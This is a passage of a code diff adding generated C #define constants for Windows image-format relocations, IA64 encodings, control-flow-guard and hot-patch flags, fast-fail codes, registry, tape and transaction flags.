+#define IMAGE_REL_AMD64_SECTION 0xa +#define IMAGE_REL_AMD64_SECREL 0xb +#define IMAGE_REL_AMD64_SECREL7 0xc +#define IMAGE_REL_AMD64_TOKEN 0xd +#define IMAGE_REL_AMD64_SREL32 0xe +#define IMAGE_REL_AMD64_PAIR 0xf +#define IMAGE_REL_AMD64_SSPAN32 0x10 +#define IMAGE_REL_AMD64_EHANDLER 0x11 +#define IMAGE_REL_AMD64_IMPORT_BR 0x12 +#define IMAGE_REL_AMD64_IMPORT_CALL 0x13 +#define IMAGE_REL_AMD64_CFG_BR 0x14 +#define IMAGE_REL_AMD64_CFG_BR_REX 0x15 +#define IMAGE_REL_AMD64_CFG_CALL 0x16 +#define IMAGE_REL_AMD64_INDIR_BR 0x17 +#define IMAGE_REL_AMD64_INDIR_BR_REX 0x18 +#define IMAGE_REL_AMD64_INDIR_CALL 0x19 +#define IMAGE_REL_AMD64_INDIR_BR_SWITCHTABLE_FIRST 0x20 +#define IMAGE_REL_AMD64_INDIR_BR_SWITCHTABLE_LAST 0x2f +#define IMAGE_REL_IA64_ABSOLUTE 0x0 +#define IMAGE_REL_IA64_IMM14 0x1 +#define IMAGE_REL_IA64_IMM22 0x2 +#define IMAGE_REL_IA64_IMM64 0x3 +#define IMAGE_REL_IA64_DIR32 0x4 +#define IMAGE_REL_IA64_DIR64 0x5 +#define IMAGE_REL_IA64_PCREL21B 0x6 +#define IMAGE_REL_IA64_PCREL21M 0x7 +#define IMAGE_REL_IA64_PCREL21F 0x8 +#define IMAGE_REL_IA64_GPREL22 0x9 +#define IMAGE_REL_IA64_LTOFF22 0xa +#define IMAGE_REL_IA64_SECTION 0xb +#define IMAGE_REL_IA64_SECREL22 0xc +#define IMAGE_REL_IA64_SECREL64I 0xd +#define IMAGE_REL_IA64_SECREL32 0xe +#define IMAGE_REL_IA64_DIR32NB 0x10 +#define IMAGE_REL_IA64_SREL14 0x11 +#define IMAGE_REL_IA64_SREL22 0x12 +#define IMAGE_REL_IA64_SREL32 0x13 +#define IMAGE_REL_IA64_UREL32 0x14 +#define IMAGE_REL_IA64_PCREL60X 0x15 +#define IMAGE_REL_IA64_PCREL60B 0x16 +#define IMAGE_REL_IA64_PCREL60F 0x17 +#define IMAGE_REL_IA64_PCREL60I 0x18 +#define IMAGE_REL_IA64_PCREL60M 0x19 +#define IMAGE_REL_IA64_IMMGPREL64 0x1a +#define IMAGE_REL_IA64_TOKEN 0x1b +#define IMAGE_REL_IA64_GPREL32 0x1c +#define IMAGE_REL_IA64_ADDEND 0x1f +#define IMAGE_REL_CEF_ABSOLUTE 0x0 +#define IMAGE_REL_CEF_ADDR32 0x1 +#define IMAGE_REL_CEF_ADDR64 0x2 +#define IMAGE_REL_CEF_ADDR32NB 0x3 +#define IMAGE_REL_CEF_SECTION 0x4 +#define IMAGE_REL_CEF_SECREL 0x5 +#define IMAGE_REL_CEF_TOKEN 0x6 +#define IMAGE_REL_CEE_ABSOLUTE 0x0 +#define IMAGE_REL_CEE_ADDR32 0x1 +#define IMAGE_REL_CEE_ADDR64 0x2 +#define IMAGE_REL_CEE_ADDR32NB 0x3 +#define IMAGE_REL_CEE_SECTION 0x4 +#define IMAGE_REL_CEE_SECREL 0x5 +#define IMAGE_REL_CEE_TOKEN 0x6 +#define IMAGE_REL_M32R_ABSOLUTE 0x0 +#define IMAGE_REL_M32R_ADDR32 0x1 +#define IMAGE_REL_M32R_ADDR32NB 0x2 +#define IMAGE_REL_M32R_ADDR24 0x3 +#define IMAGE_REL_M32R_GPREL16 0x4 +#define IMAGE_REL_M32R_PCREL24 0x5 +#define IMAGE_REL_M32R_PCREL16 0x6 +#define IMAGE_REL_M32R_PCREL8 0x7 +#define IMAGE_REL_M32R_REFHALF 0x8 +#define IMAGE_REL_M32R_REFHI 0x9 +#define IMAGE_REL_M32R_REFLO 0xa +#define IMAGE_REL_M32R_PAIR 0xb +#define IMAGE_REL_M32R_SECTION 0xc +#define IMAGE_REL_M32R_SECREL32 0xd +#define IMAGE_REL_M32R_TOKEN 0xe +#define IMAGE_REL_EBC_ABSOLUTE 0x0 +#define IMAGE_REL_EBC_ADDR32NB 0x1 +#define IMAGE_REL_EBC_REL32 0x2 +#define IMAGE_REL_EBC_SECTION 0x3 +#define IMAGE_REL_EBC_SECREL 0x4 +#define EMARCH_ENC_I17_IMM7B_INST_WORD_X 0x3 +#define EMARCH_ENC_I17_IMM7B_SIZE_X 0x7 +#define EMARCH_ENC_I17_IMM7B_INST_WORD_POS_X 0x4 +#define EMARCH_ENC_I17_IMM7B_VAL_POS_X 0x0 +#define EMARCH_ENC_I17_IMM9D_INST_WORD_X 0x3 +#define EMARCH_ENC_I17_IMM9D_SIZE_X 0x9 +#define EMARCH_ENC_I17_IMM9D_INST_WORD_POS_X 0x12 +#define EMARCH_ENC_I17_IMM9D_VAL_POS_X 0x7 +#define EMARCH_ENC_I17_IMM5C_INST_WORD_X 0x3 +#define EMARCH_ENC_I17_IMM5C_SIZE_X 0x5 +#define EMARCH_ENC_I17_IMM5C_INST_WORD_POS_X 0xd +#define EMARCH_ENC_I17_IMM5C_VAL_POS_X 0x10 +#define EMARCH_ENC_I17_IC_INST_WORD_X 0x3 +#define EMARCH_ENC_I17_IC_SIZE_X 0x1 +#define EMARCH_ENC_I17_IC_INST_WORD_POS_X 0xc +#define EMARCH_ENC_I17_IC_VAL_POS_X 0x15 +#define EMARCH_ENC_I17_IMM41a_INST_WORD_X 0x1 +#define EMARCH_ENC_I17_IMM41a_SIZE_X 0xa +#define EMARCH_ENC_I17_IMM41a_INST_WORD_POS_X 0xe +#define EMARCH_ENC_I17_IMM41a_VAL_POS_X 0x16 +#define EMARCH_ENC_I17_IMM41b_INST_WORD_X 0x1 +#define EMARCH_ENC_I17_IMM41b_SIZE_X 0x8 +#define EMARCH_ENC_I17_IMM41b_INST_WORD_POS_X 0x18 +#define EMARCH_ENC_I17_IMM41b_VAL_POS_X 0x20 +#define EMARCH_ENC_I17_IMM41c_INST_WORD_X 0x2 +#define EMARCH_ENC_I17_IMM41c_SIZE_X 0x17 +#define EMARCH_ENC_I17_IMM41c_INST_WORD_POS_X 0x0 +#define EMARCH_ENC_I17_IMM41c_VAL_POS_X 0x28 +#define EMARCH_ENC_I17_SIGN_INST_WORD_X 0x3 +#define EMARCH_ENC_I17_SIGN_SIZE_X 0x1 +#define EMARCH_ENC_I17_SIGN_INST_WORD_POS_X 0x1b +#define EMARCH_ENC_I17_SIGN_VAL_POS_X 0x3f +#define X3_OPCODE_INST_WORD_X 0x3 +#define X3_OPCODE_SIZE_X 0x4 +#define X3_OPCODE_INST_WORD_POS_X 0x1c +#define X3_OPCODE_SIGN_VAL_POS_X 0x0 +#define X3_I_INST_WORD_X 0x3 +#define X3_I_SIZE_X 0x1 +#define X3_I_INST_WORD_POS_X 0x1b +#define X3_I_SIGN_VAL_POS_X 0x3b +#define X3_D_WH_INST_WORD_X 0x3 +#define X3_D_WH_SIZE_X 0x3 +#define X3_D_WH_INST_WORD_POS_X 0x18 +#define X3_D_WH_SIGN_VAL_POS_X 0x0 +#define X3_IMM20_INST_WORD_X 0x3 +#define X3_IMM20_SIZE_X 0x14 +#define X3_IMM20_INST_WORD_POS_X 0x4 +#define X3_IMM20_SIGN_VAL_POS_X 0x0 +#define X3_IMM39_1_INST_WORD_X 0x2 +#define X3_IMM39_1_SIZE_X 0x17 +#define X3_IMM39_1_INST_WORD_POS_X 0x0 +#define X3_IMM39_1_SIGN_VAL_POS_X 0x24 +#define X3_IMM39_2_INST_WORD_X 0x1 +#define X3_IMM39_2_SIZE_X 0x10 +#define X3_IMM39_2_INST_WORD_POS_X 0x10 +#define X3_IMM39_2_SIGN_VAL_POS_X 0x14 +#define X3_P_INST_WORD_X 0x3 +#define X3_P_SIZE_X 0x4 +#define X3_P_INST_WORD_POS_X 0x0 +#define X3_P_SIGN_VAL_POS_X 0x0 +#define X3_TMPLT_INST_WORD_X 0x0 +#define X3_TMPLT_SIZE_X 0x4 +#define X3_TMPLT_INST_WORD_POS_X 0x0 +#define X3_TMPLT_SIGN_VAL_POS_X 0x0 +#define X3_BTYPE_QP_INST_WORD_X 0x2 +#define X3_BTYPE_QP_SIZE_X 0x9 +#define X3_BTYPE_QP_INST_WORD_POS_X 0x17 +#define X3_BTYPE_QP_INST_VAL_POS_X 0x0 +#define X3_EMPTY_INST_WORD_X 0x1 +#define X3_EMPTY_SIZE_X 0x2 +#define X3_EMPTY_INST_WORD_POS_X 0xe +#define X3_EMPTY_INST_VAL_POS_X 0x0 +#define IMAGE_REL_BASED_ABSOLUTE 0x0 +#define IMAGE_REL_BASED_HIGH 0x1 +#define IMAGE_REL_BASED_LOW 0x2 +#define IMAGE_REL_BASED_HIGHLOW 0x3 +#define IMAGE_REL_BASED_HIGHADJ 0x4 +#define IMAGE_REL_BASED_MACHINE_SPECIFIC_5 0x5 +#define IMAGE_REL_BASED_RESERVED 0x6 +#define IMAGE_REL_BASED_MACHINE_SPECIFIC_7 0x7 +#define IMAGE_REL_BASED_MACHINE_SPECIFIC_8 0x8 +#define IMAGE_REL_BASED_MACHINE_SPECIFIC_9 0x9 +#define IMAGE_REL_BASED_DIR64 0xa +#define IMAGE_REL_BASED_IA64_IMM64 0x9 +#define IMAGE_REL_BASED_MIPS_JMPADDR 0x5 +#define IMAGE_REL_BASED_MIPS_JMPADDR16 0x9 +#define IMAGE_REL_BASED_ARM_MOV32 0x5 +#define IMAGE_REL_BASED_THUMB_MOV32 0x7 +#define IMAGE_ARCHIVE_START_SIZE 0x8 +// SKIPPED const IMAGE_ARCHIVE_START: non-integer constant +// SKIPPED const IMAGE_ARCHIVE_END: non-integer constant +// SKIPPED const IMAGE_ARCHIVE_PAD: non-integer constant +// SKIPPED const IMAGE_ARCHIVE_LINKER_MEMBER: non-integer constant +// SKIPPED const IMAGE_ARCHIVE_LONGNAMES_MEMBER: non-integer constant +// SKIPPED const IMAGE_ARCHIVE_HYBRIDMAP_MEMBER: non-integer constant +#define IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR 0x3c +#define IMAGE_ORDINAL_FLAG64 0x8000000000000000 +#define IMAGE_ORDINAL_FLAG32 0x80000000 +#define IMAGE_RESOURCE_NAME_IS_STRING 0x80000000 +#define IMAGE_RESOURCE_DATA_IS_DIRECTORY 0x80000000 +#define IMAGE_DYNAMIC_RELOCATION_GUARD_RF_PROLOGUE 0x1 +#define IMAGE_DYNAMIC_RELOCATION_GUARD_RF_EPILOGUE 0x2 +#define IMAGE_DYNAMIC_RELOCATION_GUARD_IMPORT_CONTROL_TRANSFER 0x3 +#define IMAGE_DYNAMIC_RELOCATION_GUARD_INDIR_CONTROL_TRANSFER 0x4 +#define IMAGE_DYNAMIC_RELOCATION_GUARD_SWITCHTABLE_BRANCH 0x5 +#define IMAGE_DYNAMIC_RELOCATION_FUNCTION_OVERRIDE 0x7 +#define IMAGE_DYNAMIC_RELOCATION_ARM64_KERNEL_IMPORT_CALL_TRANSFER 0x8 +#define IMAGE_DYNAMIC_RELOCATION_IMPORT_CONTROL_TRANSFER 0x3 +#define IMAGE_FUNCTION_OVERRIDE_INVALID 0x0 +#define IMAGE_FUNCTION_OVERRIDE_X64_REL32 0x1 +#define IMAGE_FUNCTION_OVERRIDE_ARM64_BRANCH26 0x2 +#define IMAGE_FUNCTION_OVERRIDE_ARM64_THUNK 0x3 +#define IMAGE_HOT_PATCH_INFO_FLAG_PATCHORDERCRITICAL 0x1 +#define IMAGE_HOT_PATCH_INFO_FLAG_HOTSWAP 0x2 +#define IMAGE_HOT_PATCH_BASE_OBLIGATORY 0x1 +#define IMAGE_HOT_PATCH_BASE_CAN_ROLL_BACK 0x2 +#define IMAGE_HOT_PATCH_BASE_MACHINE_I386 0x4 +#define IMAGE_HOT_PATCH_BASE_MACHINE_ARM64 0x8 +#define IMAGE_HOT_PATCH_BASE_MACHINE_AMD64 0x10 +#define IMAGE_HOT_PATCH_CHUNK_INVERSE 0x80000000 +#define IMAGE_HOT_PATCH_CHUNK_OBLIGATORY 0x40000000 +#define IMAGE_HOT_PATCH_CHUNK_RESERVED 0x3ff03000 +#define IMAGE_HOT_PATCH_CHUNK_TYPE 0xfc000 +#define IMAGE_HOT_PATCH_CHUNK_SOURCE_RVA 0x8000 +#define IMAGE_HOT_PATCH_CHUNK_TARGET_RVA 0x4000 +#define IMAGE_HOT_PATCH_CHUNK_SIZE 0xfff +#define IMAGE_HOT_PATCH_NONE 0x0 +#define IMAGE_HOT_PATCH_FUNCTION 0x1c000 +#define IMAGE_HOT_PATCH_ABSOLUTE 0x2c000 +#define IMAGE_HOT_PATCH_REL32 0x3c000 +#define IMAGE_HOT_PATCH_CALL_TARGET 0x44000 +#define IMAGE_HOT_PATCH_INDIRECT 0x5c000 +#define IMAGE_HOT_PATCH_NO_CALL_TARGET 0x64000 +#define IMAGE_HOT_PATCH_DYNAMIC_VALUE 0x78000 +#define IMAGE_GUARD_CF_INSTRUMENTED 0x100 +#define IMAGE_GUARD_CFW_INSTRUMENTED 0x200 +#define IMAGE_GUARD_CF_FUNCTION_TABLE_PRESENT 0x400 +#define IMAGE_GUARD_SECURITY_COOKIE_UNUSED 0x800 +#define IMAGE_GUARD_PROTECT_DELAYLOAD_IAT 0x1000 +#define IMAGE_GUARD_DELAYLOAD_IAT_IN_ITS_OWN_SECTION 0x2000 +#define IMAGE_GUARD_CF_EXPORT_SUPPRESSION_INFO_PRESENT 0x4000 +#define IMAGE_GUARD_CF_ENABLE_EXPORT_SUPPRESSION 0x8000 +#define IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT 0x10000 +#define IMAGE_GUARD_RF_INSTRUMENTED 0x20000 +#define IMAGE_GUARD_RF_ENABLE 0x40000 +#define IMAGE_GUARD_RF_STRICT 0x80000 +#define IMAGE_GUARD_RETPOLINE_PRESENT 0x100000 +#define IMAGE_GUARD_EH_CONTINUATION_TABLE_PRESENT 0x400000 +#define IMAGE_GUARD_XFG_ENABLED 0x800000 +#define IMAGE_GUARD_CASTGUARD_PRESENT 0x1000000 +#define IMAGE_GUARD_MEMCPY_PRESENT 0x2000000 +#define IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK 0xf0000000 +#define IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_SHIFT 0x1c +#define IMAGE_GUARD_FLAG_FID_SUPPRESSED 0x1 +#define IMAGE_GUARD_FLAG_EXPORT_SUPPRESSED 0x2 +#define IMAGE_GUARD_FLAG_FID_LANGEXCPTHANDLER 0x4 +#define IMAGE_GUARD_FLAG_FID_XFG 0x8 +#define IMAGE_ENCLAVE_LONG_ID_LENGTH 0x20 +#define IMAGE_ENCLAVE_SHORT_ID_LENGTH 0x10 +#define IMAGE_ENCLAVE_POLICY_DEBUGGABLE 0x1 +#define IMAGE_ENCLAVE_POLICY_STRICT_MEMORY 0x2 +#define IMAGE_ENCLAVE_FLAG_PRIMARY_IMAGE 0x1 +#define IMAGE_ENCLAVE_IMPORT_MATCH_NONE 0x0 +#define IMAGE_ENCLAVE_IMPORT_MATCH_UNIQUE_ID 0x1 +#define IMAGE_ENCLAVE_IMPORT_MATCH_AUTHOR_ID 0x2 +#define IMAGE_ENCLAVE_IMPORT_MATCH_FAMILY_ID 0x3 +#define IMAGE_ENCLAVE_IMPORT_MATCH_IMAGE_ID 0x4 +#define IMAGE_DEBUG_TYPE_OMAP_TO_SRC 0x7 +#define IMAGE_DEBUG_TYPE_OMAP_FROM_SRC 0x8 +#define IMAGE_DEBUG_TYPE_RESERVED10 0xa +#define IMAGE_DEBUG_TYPE_BBT 0xa +#define IMAGE_DEBUG_TYPE_CLSID 0xb +#define IMAGE_DEBUG_TYPE_VC_FEATURE 0xc +#define IMAGE_DEBUG_TYPE_POGO 0xd +#define IMAGE_DEBUG_TYPE_ILTCG 0xe +#define IMAGE_DEBUG_TYPE_MPX 0xf +#define IMAGE_DEBUG_TYPE_REPRO 0x10 +#define IMAGE_DEBUG_TYPE_SPGO 0x12 +#define IMAGE_DEBUG_TYPE_EX_DLLCHARACTERISTICS 0x14 +#define FRAME_FPO 0x0 +#define FRAME_TRAP 0x1 +#define FRAME_TSS 0x2 +#define FRAME_NONFPO 0x3 +#define SIZEOF_RFPO_DATA 0x10 +#define IMAGE_DEBUG_MISC_EXENAME 0x1 +#define IMAGE_SEPARATE_DEBUG_SIGNATURE 0x4944 +#define NON_PAGED_DEBUG_SIGNATURE 0x494e +#define IMAGE_SEPARATE_DEBUG_FLAGS_MASK 0x8000 +#define IMAGE_SEPARATE_DEBUG_MISMATCH 0x8000 +#define IMPORT_OBJECT_HDR_SIG2 0xffff +#define UNWIND_HISTORY_TABLE_SIZE 0xc +#define FAST_FAIL_LEGACY_GS_VIOLATION 0x0 +#define FAST_FAIL_VTGUARD_CHECK_FAILURE 0x1 +#define FAST_FAIL_STACK_COOKIE_CHECK_FAILURE 0x2 +#define FAST_FAIL_CORRUPT_LIST_ENTRY 0x3 +#define FAST_FAIL_INCORRECT_STACK 0x4 +#define FAST_FAIL_INVALID_ARG 0x5 +#define FAST_FAIL_GS_COOKIE_INIT 0x6 +#define FAST_FAIL_FATAL_APP_EXIT 0x7 +#define FAST_FAIL_RANGE_CHECK_FAILURE 0x8 +#define FAST_FAIL_UNSAFE_REGISTRY_ACCESS 0x9 +#define FAST_FAIL_GUARD_ICALL_CHECK_FAILURE 0xa +#define FAST_FAIL_GUARD_WRITE_CHECK_FAILURE 0xb +#define FAST_FAIL_INVALID_FIBER_SWITCH 0xc +#define FAST_FAIL_INVALID_SET_OF_CONTEXT 0xd +#define FAST_FAIL_INVALID_REFERENCE_COUNT 0xe +#define FAST_FAIL_INVALID_JUMP_BUFFER 0x12 +#define FAST_FAIL_MRDATA_MODIFIED 0x13 +#define FAST_FAIL_CERTIFICATION_FAILURE 0x14 +#define FAST_FAIL_INVALID_EXCEPTION_CHAIN 0x15 +#define FAST_FAIL_CRYPTO_LIBRARY 0x16 +#define FAST_FAIL_INVALID_CALL_IN_DLL_CALLOUT 0x17 +#define FAST_FAIL_INVALID_IMAGE_BASE 0x18 +#define FAST_FAIL_DLOAD_PROTECTION_FAILURE 0x19 +#define FAST_FAIL_UNSAFE_EXTENSION_CALL 0x1a +#define FAST_FAIL_DEPRECATED_SERVICE_INVOKED 0x1b +#define FAST_FAIL_INVALID_BUFFER_ACCESS 0x1c +#define FAST_FAIL_INVALID_BALANCED_TREE 0x1d +#define FAST_FAIL_INVALID_NEXT_THREAD 0x1e +#define FAST_FAIL_GUARD_ICALL_CHECK_SUPPRESSED 0x1f +#define FAST_FAIL_APCS_DISABLED 0x20 +#define FAST_FAIL_INVALID_IDLE_STATE 0x21 +#define FAST_FAIL_MRDATA_PROTECTION_FAILURE 0x22 +#define FAST_FAIL_UNEXPECTED_HEAP_EXCEPTION 0x23 +#define FAST_FAIL_INVALID_LOCK_STATE 0x24 +#define FAST_FAIL_GUARD_JUMPTABLE 0x25 +#define FAST_FAIL_INVALID_LONGJUMP_TARGET 0x26 +#define FAST_FAIL_INVALID_DISPATCH_CONTEXT 0x27 +#define FAST_FAIL_INVALID_THREAD 0x28 +#define FAST_FAIL_INVALID_SYSCALL_NUMBER 0x29 +#define FAST_FAIL_INVALID_FILE_OPERATION 0x2a +#define FAST_FAIL_LPAC_ACCESS_DENIED 0x2b +#define FAST_FAIL_GUARD_SS_FAILURE 0x2c +#define FAST_FAIL_LOADER_CONTINUITY_FAILURE 0x2d +#define FAST_FAIL_GUARD_EXPORT_SUPPRESSION_FAILURE 0x2e +#define FAST_FAIL_INVALID_CONTROL_STACK 0x2f +#define FAST_FAIL_SET_CONTEXT_DENIED 0x30 +#define FAST_FAIL_INVALID_IAT 0x31 +#define FAST_FAIL_HEAP_METADATA_CORRUPTION 0x32 +#define FAST_FAIL_PAYLOAD_RESTRICTION_VIOLATION 0x33 +#define FAST_FAIL_LOW_LABEL_ACCESS_DENIED 0x34 +#define FAST_FAIL_ENCLAVE_CALL_FAILURE 0x35 +#define FAST_FAIL_UNHANDLED_LSS_EXCEPTON 0x36 +#define FAST_FAIL_ADMINLESS_ACCESS_DENIED 0x37 +#define FAST_FAIL_UNEXPECTED_CALL 0x38 +#define FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS 0x39 +#define FAST_FAIL_UNEXPECTED_HOST_BEHAVIOR 0x3a +#define FAST_FAIL_FLAGS_CORRUPTION 0x3b +#define FAST_FAIL_VEH_CORRUPTION 0x3c +#define FAST_FAIL_ETW_CORRUPTION 0x3d +#define FAST_FAIL_RIO_ABORT 0x3e +#define FAST_FAIL_INVALID_PFN 0x3f +#define FAST_FAIL_GUARD_ICALL_CHECK_FAILURE_XFG 0x40 +#define FAST_FAIL_CAST_GUARD 0x41 +#define FAST_FAIL_HOST_VISIBILITY_CHANGE 0x42 +#define FAST_FAIL_KERNEL_CET_SHADOW_STACK_ASSIST 0x43 +#define FAST_FAIL_PATCH_CALLBACK_FAILED 0x44 +#define FAST_FAIL_NTDLL_PATCH_FAILED 0x45 +#define FAST_FAIL_INVALID_FLS_DATA 0x46 +#define FAST_FAIL_ASAN_ERROR 0x47 +#define FAST_FAIL_CLR_EXCEPTION_AOT 0x48 +#define FAST_FAIL_POINTER_AUTH_INVALID_RETURN_ADDRESS 0x49 +#define FAST_FAIL_INVALID_THREAD_STATE 0x4a +#define FAST_FAIL_CORRUPT_WOW64_STATE 0x4b +#define FAST_FAIL_INVALID_EXTENDED_STATE 0x4c +#define FAST_FAIL_KERNEL_POINTER_EXPECTED 0x4d +#define FAST_FAIL_INVALID_FAST_FAIL_CODE 0xffffffff +#define IS_TEXT_UNICODE_DBCS_LEADBYTE 0x400 +#define IS_TEXT_UNICODE_UTF8 0x800 +#define COMPRESSION_ENGINE_STANDARD 0x0 +#define COMPRESSION_ENGINE_MAXIMUM 0x100 +#define COMPRESSION_ENGINE_HIBER 0x200 +#define SEF_AI_USE_EXTRA_PARAMS 0x800 +#define SEF_FORCE_USER_MODE 0x2000 +#define SEF_NORMALIZE_OUTPUT_DESCRIPTOR 0x4000 +#define MESSAGE_RESOURCE_UNICODE 0x1 +#define MESSAGE_RESOURCE_UTF8 0x2 +#define VER_EQUAL 0x1 +#define VER_GREATER 0x2 +#define VER_GREATER_EQUAL 0x3 +#define VER_LESS 0x4 +#define VER_LESS_EQUAL 0x5 +#define VER_AND 0x6 +#define VER_OR 0x7 +#define VER_CONDITION_MASK 0x7 +#define VER_NUM_BITS_PER_CONDITION_MASK 0x3 +#define VER_NT_WORKSTATION 0x1 +#define VER_NT_DOMAIN_CONTROLLER 0x2 +#define VER_NT_SERVER 0x3 +#define RTL_UMS_VERSION 0x100 +#define VRL_PREDEFINED_CLASS_BEGIN 0x1 +#define VRL_CUSTOM_CLASS_BEGIN 0x100 +#define VRL_ENABLE_KERNEL_BREAKS 0x80000000 +#define CTMF_INCLUDE_APPCONTAINER 0x1 +#define CTMF_INCLUDE_LPAC 0x2 +#define FLUSH_NV_MEMORY_IN_FLAG_NO_DRAIN 0x1 +#define WRITE_NV_MEMORY_FLAG_FLUSH 0x1 +#define WRITE_NV_MEMORY_FLAG_NON_TEMPORAL 0x2 +#define WRITE_NV_MEMORY_FLAG_NO_DRAIN 0x100 +#define FILL_NV_MEMORY_FLAG_FLUSH 0x1 +#define FILL_NV_MEMORY_FLAG_NON_TEMPORAL 0x2 +#define FILL_NV_MEMORY_FLAG_NO_DRAIN 0x100 +#define IMAGE_POLICY_METADATA_VERSION 0x1 +// SKIPPED const IMAGE_POLICY_SECTION_NAME: non-integer constant +#define RTL_VIRTUAL_UNWIND2_VALIDATE_PAC 0x1 +#define HEAP_OPTIMIZE_RESOURCES_CURRENT_VERSION 0x1 +#define WT_EXECUTEINUITHREAD 0x2 +#define WT_EXECUTEINPERSISTENTIOTHREAD 0x40 +#define WT_EXECUTEINLONGTHREAD 0x10 +#define WT_EXECUTEDELETEWAIT 0x8 +#define ACTIVATION_CONTEXT_PATH_TYPE_NONE 0x1 +#define ACTIVATION_CONTEXT_PATH_TYPE_WIN32_FILE 0x2 +#define ACTIVATION_CONTEXT_PATH_TYPE_URL 0x3 +#define ACTIVATION_CONTEXT_PATH_TYPE_ASSEMBLYREF 0x4 +#define CREATE_BOUNDARY_DESCRIPTOR_ADD_APPCONTAINER_SID 0x1 +#define PERFORMANCE_DATA_VERSION 0x1 +#define READ_THREAD_PROFILING_FLAG_DISPATCHING 0x1 +#define READ_THREAD_PROFILING_FLAG_HARDWARE_COUNTERS 0x2 +// SKIPPED const UNIFIEDBUILDREVISION_KEY: non-integer constant +// SKIPPED const UNIFIEDBUILDREVISION_VALUE: non-integer constant +#define UNIFIEDBUILDREVISION_MIN 0x0 +// SKIPPED const DEVICEFAMILYDEVICEFORM_KEY: non-integer constant +// SKIPPED const DEVICEFAMILYDEVICEFORM_VALUE: non-integer constant +#define DLL_PROCESS_ATTACH 0x1 +#define DLL_THREAD_ATTACH 0x2 +#define DLL_THREAD_DETACH 0x3 +#define DLL_PROCESS_DETACH 0x0 +#define EVENTLOG_START_PAIRED_EVENT 0x1 +#define EVENTLOG_END_PAIRED_EVENT 0x2 +#define EVENTLOG_END_ALL_PAIRED_EVENTS 0x4 +#define EVENTLOG_PAIRED_EVENT_ACTIVE 0x8 +#define EVENTLOG_PAIRED_EVENT_INACTIVE 0x10 +#define MAXLOGICALLOGNAMESIZE 0x100 +#define REG_REFRESH_HIVE 2 +#define REG_NO_LAZY_FLUSH 4 +#define REG_APP_HIVE 16 +#define REG_PROCESS_PRIVATE 32 +#define REG_START_JOURNAL 64 +#define REG_HIVE_EXACT_FILE_GROWTH 128 +#define REG_HIVE_NO_RM 256 +#define REG_HIVE_SINGLE_LOG 512 +#define REG_BOOT_HIVE 1024 +#define REG_LOAD_HIVE_OPEN_HANDLE 2048 +#define REG_FLUSH_HIVE_FILE_GROWTH 4096 +#define REG_OPEN_READ_ONLY 8192 +#define REG_IMMUTABLE 16384 +#define REG_NO_IMPERSONATION_FALLBACK 32768 +#define REG_APP_HIVE_OPEN_READ_ONLY 8192 +#define REG_FORCE_UNLOAD 0x1 +#define REG_UNLOAD_LEGAL_FLAGS 0x1 +#define SERVICE_USER_SERVICE 0x40 +#define SERVICE_USERSERVICE_INSTANCE 0x80 +#define SERVICE_INTERACTIVE_PROCESS 0x100 +#define SERVICE_PKG_SERVICE 0x200 +#define CM_SERVICE_NETWORK_BOOT_LOAD 0x1 +#define CM_SERVICE_VIRTUAL_DISK_BOOT_LOAD 0x2 +#define CM_SERVICE_USB_DISK_BOOT_LOAD 0x4 +#define CM_SERVICE_SD_DISK_BOOT_LOAD 0x8 +#define CM_SERVICE_USB3_DISK_BOOT_LOAD 0x10 +#define CM_SERVICE_MEASURED_BOOT_LOAD 0x20 +#define CM_SERVICE_VERIFIER_BOOT_LOAD 0x40 +#define CM_SERVICE_WINPE_BOOT_LOAD 0x80 +#define CM_SERVICE_RAM_DISK_BOOT_LOAD 0x100 +#define TAPE_PSEUDO_LOGICAL_POSITION 2 +#define TAPE_PSEUDO_LOGICAL_BLOCK 3 +#define TAPE_DRIVE_FIXED 0x1 +#define TAPE_DRIVE_SELECT 0x2 +#define TAPE_DRIVE_INITIATOR 0x4 +#define TAPE_DRIVE_ERASE_SHORT 0x10 +#define TAPE_DRIVE_ERASE_LONG 0x20 +#define TAPE_DRIVE_ERASE_BOP_ONLY 0x40 +#define TAPE_DRIVE_ERASE_IMMEDIATE 0x80 +#define TAPE_DRIVE_TAPE_CAPACITY 0x100 +#define TAPE_DRIVE_TAPE_REMAINING 0x200 +#define TAPE_DRIVE_FIXED_BLOCK 0x400 +#define TAPE_DRIVE_VARIABLE_BLOCK 0x800 +#define TAPE_DRIVE_WRITE_PROTECT 0x1000 +#define TAPE_DRIVE_EOT_WZ_SIZE 0x2000 +#define TAPE_DRIVE_ECC 0x10000 +#define TAPE_DRIVE_COMPRESSION 0x20000 +#define TAPE_DRIVE_PADDING 0x40000 +#define TAPE_DRIVE_REPORT_SMKS 0x80000 +#define TAPE_DRIVE_GET_ABSOLUTE_BLK 0x100000 +#define TAPE_DRIVE_GET_LOGICAL_BLK 0x200000 +#define TAPE_DRIVE_SET_EOT_WZ_SIZE 0x400000 +#define TAPE_DRIVE_EJECT_MEDIA 0x1000000 +#define TAPE_DRIVE_CLEAN_REQUESTS 0x2000000 +#define TAPE_DRIVE_SET_CMP_BOP_ONLY 0x4000000 +#define TAPE_DRIVE_RESERVED_BIT 0x80000000 +#define TAPE_DRIVE_FORMAT 0xa0000000 +#define TAPE_DRIVE_FORMAT_IMMEDIATE 0xc0000000 +#define TAPE_DRIVE_HIGH_FEATURES 0x80000000 +#define TAPE_QUERY_DRIVE_PARAMETERS 0 +#define TAPE_QUERY_MEDIA_CAPACITY 1 +#define TAPE_CHECK_FOR_DRIVE_PROBLEM 2 +#define TAPE_QUERY_IO_ERROR_DATA 3 +#define TAPE_QUERY_DEVICE_ERROR_DATA 4 +#define TRANSACTIONMANAGER_QUERY_INFORMATION 0x1 +#define TRANSACTIONMANAGER_SET_INFORMATION 0x2 +#define TRANSACTIONMANAGER_RECOVER 0x4 +#define TRANSACTIONMANAGER_RENAME 0x8 +#define TRANSACTIONMANAGER_CREATE_RM 0x10 +#define TRANSACTIONMANAGER_BIND_TRANSACTION 0x20 +#define TRANSACTION_QUERY_INFORMATION 0x1 +#define TRANSACTION_SET_INFORMATION 0x2 +#define TRANSACTION_ENLIST 0x4 +#define TRANSACTION_COMMIT 0x8 +#define TRANSACTION_ROLLBACK 0x10 +#define TRANSACTION_PROPAGATE 0x20 +#define TRANSACTION_RIGHT_RESERVED1 0x40 +#define RESOURCEMANAGER_QUERY_INFORMATION 